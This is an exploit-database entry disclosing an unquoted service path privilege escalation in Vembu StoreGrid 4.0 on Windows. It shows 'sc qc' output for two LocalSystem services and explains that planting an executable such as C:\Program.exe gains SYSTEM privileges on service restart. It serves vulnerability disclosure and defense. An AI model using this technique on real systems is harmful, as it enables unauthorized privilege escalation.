Vembu StoreGrid 4.0 Privilege Escalation Vulnerability

2016-10-20T00:00:00
ID 1337DAY-ID-25934
Type zdt
Reporter Joey Lane
Modified 2016-10-20T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            # Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012
 
StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
 
This was tested on version 4.0, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc RemoteBackup
 
[SC] QueryServiceConfig SUCCESS
 
 
 
SERVICE_NAME: RemoteBackup
 
        TYPE               : 10  WIN32_OWN_PROCESS
 
        START_TYPE         : 2   AUTO_START
 
        ERROR_CONTROL      : 0   IGNORE
 
        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe
 
 
        LOAD_ORDER_GROUP   :
 
        TAG                : 0
 
        DISPLAY_NAME       : RemoteBackup
 
        DEPENDENCIES       :
 
        SERVICE_START_NAME : LocalSystem
 
 
C:\>sc qc RemoteBackup_webServer
 
[SC] QueryServiceConfig SUCCESS
 
 
 
SERVICE_NAME: RemoteBackup_webServer
 
        TYPE               : 10  WIN32_OWN_PROCESS
 
        START_TYPE         : 2   AUTO_START
 
        ERROR_CONTROL      : 0   IGNORE
 
        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice
 
        LOAD_ORDER_GROUP   :
 
        TAG                : 0
 
        DISPLAY_NAME       : RemoteBackup_WebServer
 
        DEPENDENCIES       :
 
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.

#  0day.today [2018-02-27]  #